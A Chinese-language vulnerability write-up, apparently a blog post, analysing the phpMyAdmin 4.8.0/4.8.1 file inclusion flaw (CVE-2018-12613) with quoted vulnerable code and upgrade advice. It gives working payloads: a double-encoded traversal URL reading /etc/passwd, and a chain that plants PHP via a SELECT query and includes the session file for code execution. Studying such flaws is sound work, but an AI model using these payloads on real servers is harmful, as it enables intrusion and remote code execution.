漏洞简介

phpMyAdmin是一套开源的、基于Web的MySQL数据库管理工具。其index.php中存在一处文件包含逻辑,通过二次编码即可绕过检查,造成远程文件包含漏洞。

这个漏洞刚刚打演练的时候用过,分析一下原理

影响版本

phpmyadmin 4.8.0 & 4.8.1

前提条件

能够进入后台,也就是要有数据库的凭据

前置知识

php文件包含

服务器执行PHP文件时,可以通过文件包含函数加载另一个文件中的PHP代码,并且当PHP来执行,这会为开发者节省大量的时间。 文件包含相关函数

require()#函数出现错误的时候,会直接报错并退出程序的执行
require_once()#只包含一次
include()#在包含的过程中如果出现错误,会抛出一个警告,程序继续正常运行
include_once()#只包含一次

文件包含分为本地文件包含和远程文件包含

远程文件包含利用需要下面这两个配置文件都开启 当allow_url_include和allow_url_fopen都开启时,可以通过利用远程url或者php://协议直接getshell,即远程文件包含, 但allow_url_include在php5.2之后默认为off,利用机会有限。 当allow_url_include and allow_url_fopen均为off 在window主机环境下仍然可以进行远程文件执行,用445端口SMB协议进行远程加载。

漏洞复现

直接访问下面的路径,能输出passwd内容那就是有了

/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd

利用方式的话,就是先在sql栏执行一下select命令,然后去包含session文件,就能获得webshell,进而拿shell

可以执行一下SELECT <?=phpinfo()?>;,然后查看自己的sessionid(cookie中phpMyAdmin的值),然后包含session文件即可:

对应的sessions文件是 /tmp/sess_sessionid phpmyadmin-4_8_1远程文件包含漏洞(CVE-2018-12613)

漏洞分析

简单来说就是phpmyadmin对用户传入的参数直接进行了包含,并且黑名单的检验不严格,可以绕过,从而导致了LFI

index.php
// If we have a valid target, let's load that script instead
if (! empty($_REQUEST['target'])
    && is_string($_REQUEST['target'])
    && ! preg_match('/^index/', $_REQUEST['target'])
    && ! in_array($_REQUEST['target'], $target_blacklist)
    && Core::checkPageValidity($_REQUEST['target'])
) {
    include $_REQUEST['target'];
    exit;
}

# 黑名单
$target_blacklist = array (
    'import.php', 'export.php'
);

然后就是在phpmyadmin中,执行sql语句之后,会存储在session文件中,如果包含这个文件,就能让select里面的php代码被执行

/index.php?target=db_sql.php?/../../../../../../../../etc/passwd
#Windows环境下利用需要对?进行编码
/index.php?target=db_sql.php%253f/../../../../../../../../tmp/sess_21faa6130eaba2b5e04e313bfacc60d4

漏洞发现

进入后台之后,查看版本信息

漏洞修复

升级phpmyadmin版本

相关漏洞

phpMyAdmin-4.0.x—4.6.2_远程代码执行漏洞

漏洞总结

这个漏洞刚刚演练的时候利用过,比较熟悉了… 记忆这个漏洞

  • 组件:phpmyadmin
  • 版本:4.8.1&4.8.0
  • 漏洞类型:文件包含

假设你在尝试利用,挖掘这个漏洞

  • 漏洞产生点:首页的target参数
  • 漏洞类型:文件包含
  • 漏洞利用方法:通过对sessions文件进行包含从而实现rce
  • 遇到问题之后的解决方案: